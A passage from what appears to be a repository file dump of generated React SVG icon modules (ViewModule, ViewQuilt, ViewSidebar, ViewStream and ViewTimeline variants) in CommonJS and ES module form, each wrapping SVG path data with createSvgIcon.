    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.67 6v4.5c0 .55-.45 1-1 1h-3.33c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h3.33c.55 0 1 .45 1 1m2 5.5H20c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1h-3.33c-.55 0-1 .45-1 1v4.5c0 .55.44 1 1 1m-2 6.5v-4.5c0-.55-.45-1-1-1h-3.33c-.55 0-1 .45-1 1V18c0 .55.45 1 1 1h3.33c.55 0 1-.45 1-1m1-4.5V18c0 .55.45 1 1 1H20c.55 0 1-.45 1-1v-4.5c0-.55-.45-1-1-1h-3.33c-.56 0-1 .45-1 1m-8.34-1H4c-.55 0-1 .45-1 1V18c0 .55.45 1 1 1h3.33c.55 0 1-.45 1-1v-4.5c0-.55-.44-1-1-1m1-2V6c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v4.5c0 .55.45 1 1 1h3.33c.56 0 1-.45 1-1\"\n}), 'ViewModuleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewModuleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.67 5v6.5H9.33V5zm1 6.5H21V5h-5.33zm-1 7.5v-6.5H9.33V19zm1-6.5V19H21v-6.5zm-7.34 0H3V19h5.33zm0-1V5H3v6.5z\"\n}), 'ViewModuleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewModuleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.67 5v6.5H9.33V5zm1 6.5H21V5h-5.33zm-1 7.5v-6.5H9.33V19zm1-6.5V19H21v-6.5zm-7.34 0H3V19h5.33zm0-1V5H3v6.5z\"\n}), 'ViewModuleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewModuleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11h-3.33V7H19zm-5.33 0h-3.33V7h3.33zM8.33 7v4H5V7zM5 17v-4h3.33v4zm5.33 0v-4h3.33v4zm5.34 0v-4H19v4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14h18V5zm16 6h-3.33V7H19zm-5.33 0h-3.33V7h3.33zM8.33 7v4H5V7zM5 17v-4h3.33v4zm5.33 0v-4h3.33v4zm5.34 0v-4H19v4z\"\n}, \"1\")], 'ViewModuleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewModuleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11h-3.33V7H19zm-5.33 0h-3.33V7h3.33zM8.33 7v4H5V7zM5 17v-4h3.33v4zm5.33 0v-4h3.33v4zm5.34 0v-4H19v4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14h18V5zm16 6h-3.33V7H19zm-5.33 0h-3.33V7h3.33zM8.33 7v4H5V7zM5 17v-4h3.33v4zm5.33 0v-4h3.33v4zm5.34 0v-4H19v4z\"\n}, \"1\")], 'ViewModuleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewQuilt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5v6.5H9.33V5zm-6.33 14v-6.5H9.33V19zm1-6.5V19H21v-6.5zM8.33 19V5H3v14z\"\n}), 'ViewQuilt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewQuilt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5v6.5H9.33V5zm-6.33 14v-6.5H9.33V19zm1-6.5V19H21v-6.5zM8.33 19V5H3v14z\"\n}), 'ViewQuilt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewQuiltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14h18V5zm5.33 12H5V7h3.33zm5.34 0h-3.33v-4h3.33zM19 17h-3.33v-4H19zm0-6h-8.67V7H19z\"\n}), 'ViewQuiltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewQuiltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14h18V5zm5.33 12H5V7h3.33zm5.34 0h-3.33v-4h3.33zM19 17h-3.33v-4H19zm0-6h-8.67V7H19z\"\n}), 'ViewQuiltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewQuiltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6v4.5c0 .55-.45 1-1 1h-9.67c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1H20c.55 0 1 .45 1 1m-6.33 12v-4.5c0-.55-.45-1-1-1h-3.33c-.55 0-1 .45-1 1V18c0 .55.45 1 1 1h3.33c.55 0 1-.45 1-1m1-4.5V18c0 .55.45 1 1 1H20c.55 0 1-.45 1-1v-4.5c0-.55-.45-1-1-1h-3.33c-.56 0-1 .45-1 1M8.33 18V6c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h3.33c.56 0 1-.45 1-1\"\n}), 'ViewQuiltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewQuiltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6v4.5c0 .55-.45 1-1 1h-9.67c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1H20c.55 0 1 .45 1 1m-6.33 12v-4.5c0-.55-.45-1-1-1h-3.33c-.55 0-1 .45-1 1V18c0 .55.45 1 1 1h3.33c.55 0 1-.45 1-1m1-4.5V18c0 .55.45 1 1 1H20c.55 0 1-.45 1-1v-4.5c0-.55-.45-1-1-1h-3.33c-.56 0-1 .45-1 1M8.33 18V6c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h3.33c.56 0 1-.45 1-1\"\n}), 'ViewQuiltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewQuiltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5v6.5H9.33V5zm-6.33 14v-6.5H9.33V19zm1-6.5V19H21v-6.5zM8.33 19V5H3v14z\"\n}), 'ViewQuiltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewQuiltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5v6.5H9.33V5zm-6.33 14v-6.5H9.33V19zm1-6.5V19H21v-6.5zM8.33 19V5H3v14z\"\n}), 'ViewQuiltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewQuiltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.33 17H5V7h3.33zm5.34 0h-3.33v-4h3.33zM19 17h-3.33v-4H19zm0-6h-8.67V7H19z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14h18V5zm5.33 12H5V7h3.33zm5.34 0h-3.33v-4h3.33zM19 17h-3.33v-4H19zm0-6h-8.67V7H19z\"\n}, \"1\")], 'ViewQuiltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewQuiltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.33 17H5V7h3.33zm5.34 0h-3.33v-4h3.33zM19 17h-3.33v-4H19zm0-6h-8.67V7H19z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14h18V5zm5.33 12H5V7h3.33zm5.34 0h-3.33v-4h3.33zM19 17h-3.33v-4H19zm0-6h-8.67V7H19z\"\n}, \"1\")], 'ViewQuiltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewSidebar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 20H2V4h14zm2-12h4V4h-4zm0 12h4v-4h-4zm0-6h4v-4h-4z\"\n}), 'ViewSidebar');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewSidebar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 20H2V4h14zm2-12h4V4h-4zm0 12h4v-4h-4zm0-6h4v-4h-4z\"\n}), 'ViewSidebar');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewSidebarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v16h20V4zm18 4.67h-2.5V6H20zm-2.5 2H20v2.67h-2.5zM4 6h11.5v12H4zm13.5 12v-2.67H20V18z\"\n}), 'ViewSidebarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewSidebarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v16h20V4zm18 4.67h-2.5V6H20zm-2.5 2H20v2.67h-2.5zM4 6h11.5v12H4zm13.5 12v-2.67H20V18z\"\n}), 'ViewSidebarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewSidebarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 20H3c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v14c0 .55-.45 1-1 1m4-12h2c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1m0 12h2c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1m0-6h2c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1\"\n}), 'ViewSidebarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewSidebarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 20H3c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v14c0 .55-.45 1-1 1m4-12h2c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1m0 12h2c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1m0-6h2c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1\"\n}), 'ViewSidebarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewSidebarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 20H2V4h14zm2-12h4V4h-4zm0 12h4v-4h-4zm0-6h4v-4h-4z\"\n}), 'ViewSidebarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewSidebarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 20H2V4h14zm2-12h4V4h-4zm0 12h4v-4h-4zm0-6h4v-4h-4z\"\n}), 'ViewSidebarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewSidebarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.67h-2.5V6H20zm-2.5 2H20v2.67h-2.5zM4 6h11.5v12H4zm13.5 12v-2.67H20V18z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v16h20V4zm18 4.67h-2.5V6H20zm-2.5 2H20v2.67h-2.5zM4 6h11.5v12H4zm13.5 12v-2.67H20V18z\"\n}, \"1\")], 'ViewSidebarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewSidebarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.67h-2.5V6H20zm-2.5 2H20v2.67h-2.5zM4 6h11.5v12H4zm13.5 12v-2.67H20V18z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v16h20V4zm18 4.67h-2.5V6H20zm-2.5 2H20v2.67h-2.5zM4 6h11.5v12H4zm13.5 12v-2.67H20V18z\"\n}, \"1\")], 'ViewSidebarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewStream.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17v-2c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2M3 7v2c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2\"\n}), 'ViewStream');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewStream.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17v-2c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2M3 7v2c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2\"\n}), 'ViewStream');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewStreamOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 7v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m16 10H5v-4h14zM5 11V7h14v4z\"\n}), 'ViewStreamOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewStreamOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 7v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m16 10H5v-4h14zM5 11V7h14v4z\"\n}), 'ViewStreamOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewStreamRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17v-2c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2M3 7v2c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2\"\n}), 'ViewStreamRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewStreamRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17v-2c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2M3 7v2c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2\"\n}), 'ViewStreamRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewStreamSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19v-6h18v6zM3 5v6h18V5z\"\n}), 'ViewStreamSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewStreamSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19v-6h18v6zM3 5v6h18V5z\"\n}), 'ViewStreamSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewStreamTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 17H5v-4h14zM5 11V7h14v4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 7v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m16 10H5v-4h14zM5 11V7h14v4z\"\n}, \"1\")], 'ViewStreamTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewStreamTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 17H5v-4h14zM5 11V7h14v4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 7v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m16 10H5v-4h14zM5 11V7h14v4z\"\n}, \"1\")], 'ViewStreamTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewTimeline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 14H6v-2h6zm3-4H9v-2h6zm3-4h-6V7h6z\"\n}), 'ViewTimeline');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewTimeline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 14H6v-2h6zm3-4H9v-2h6zm3-4h-6V7h6z\"\n}), 'ViewTimeline');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewTimelineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 15h6v2H6zm6-8h6v2h-6zm-3 4h6v2H9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\")], 'ViewTimelineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewTimelineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 15h6v2H6zm6-8h6v2h-6zm-3 4h6v2H9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\")], 'ViewTimelineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewTimelineRounded.js",
